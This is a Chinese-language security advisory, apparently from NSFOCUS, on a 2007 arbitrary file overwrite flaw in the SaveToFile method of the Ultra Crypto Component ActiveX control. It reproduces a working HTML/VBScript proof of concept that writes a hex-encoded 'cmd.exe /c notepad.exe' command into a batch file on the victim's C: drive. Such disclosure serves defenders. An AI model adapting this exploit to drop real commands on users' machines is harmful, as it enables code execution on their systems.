安全研究

安全漏洞
Ultra Crypto Component SaveToFile方式任意文件覆盖漏洞

发布日期:2007-09-10
更新日期:2007-09-14

受影响系统:
Ultra Shareware Ultra Crypto Component
描述:
BUGTRAQ  ID: 25611

Ultra Crypto Component是ASP或ASP.Net中使用的加密、解密和哈希ActiveX组件。

Ultra Crypto Component所提供的CryptoX.dll控件没有正确地验证对SaveToFile方式的输入,如果用户受骗访问了恶意网页并向上述方式传送了超长参数的话,就可能导致覆盖系统上的任意文件。

<*来源:shinnai (shinnai@autistici.org
  *>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol"><body bgcolor="#E0E0E0">-------------------------------------------------------------------------------------
<b>Ultra Crypto Component (CryptoX.dll <= 2.0) "SaveToFile()" Inscure Method</b>
url: http://www.ultrashareware.com/

author: shinnai
mail: shinnai[at]autistici[dot]org
site: http://shinnai.altervista.org

This was written for educational purpose. Use it at your own risk.
Author will be not responsible for any damage.

Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
all software that use this ocx are vulnerable to this exploits.

<b>We can use the "HexString()" method to save into our batch file some lines.
In this PoC, I convert "cmd.exe /c notepad.exe" in hexadecimal format, then
I save it in a batch file :)</b>
-------------------------------------------------------------------------------------

<object classid='clsid:FD22F3AE-1450-4BDC-ADBE-6AF210A78C2C' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
Sub tryMe
  Dim MyMsg  
   test.HexString = "636D642E657865202F63206E6F74657061642E657865" 'cmd.exe /c notepad.exe
   test.SaveToFile "c:\shinnai.bat"
   MyMsg = MsgBox("Exploit completed!")
End Sub
</script>
</span></span>

建议:
厂商补丁:

Ultra Shareware
---------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.ultrashareware.com/Ultra-Crypto-Component.htm

浏览次数:2504
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障